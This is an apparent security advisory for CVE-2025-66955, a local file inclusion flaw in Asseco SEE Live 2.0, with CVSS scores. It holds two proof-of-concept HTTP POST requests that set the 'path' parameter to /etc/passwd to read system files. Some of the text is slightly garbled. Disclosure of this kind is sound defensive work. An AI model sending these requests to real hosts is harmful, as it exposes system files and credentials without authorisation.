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CVE-2025-66955

Local File Inclusion in Contact Plan, E-Mail, SMS and Fax components in Asseco SEE Live
2.0 allows remote authenticated users to access files on the host via "path" parameter in
the downloadAttachment and downloadAttachmentFromPath API calls.

CVSS Vectors

e CVSS 3.1: 7.7, CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:C/C:H/I:N/A:N

e CVSS 4.0:8.4,
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

Attack vectors

The HTTP requests require low authentication.
downloadAttachment

POST /live20/index.php HTTP/2 &
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------ WebKitFormBoundary
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Content-Disposition: form-data; name="requestType"

—————— WebKitFormBoundary
Content-Disposition: form-data; name="method"

Email.downloadAttachment
------ WebKitFormBoundary
Content-Disposition: form-data; name="id"

[REDACTED]
------ WebKitFormBoundary
Content-Disposition: form-data; name="path"

/etc/passwd
------ WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"

[REDACTED]
------ WebKitFormBoundary- -

downloadAttachmentFromPath

POST /live20/index.php HTTP/2 &
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------ WebKitFormBoundary
Content-Disposition: form-data; name="requestType"

------ WebKitFormBoundary
Content-Disposition: form-data; name="method"

Email.downloadAttachmentFromPath
------ WebKitFormBoundary
Content-Disposition: form-data; name="path"

/etc/passwd
—————— WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"

[REDACTED]

—————— WebKitFormBoundary
Content-Disposition: form-data; name="model"
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Template
—————— WebKitFormBoundary- -

Releases

No releases published

Packages

No packages published

Contributors 1

JI TheWoodenBench Benjamin Horvat
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